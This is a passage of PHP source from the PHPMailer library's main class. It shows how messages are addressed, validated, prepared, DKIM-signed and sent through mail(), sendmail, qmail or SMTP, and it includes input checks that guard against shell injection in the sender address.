        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
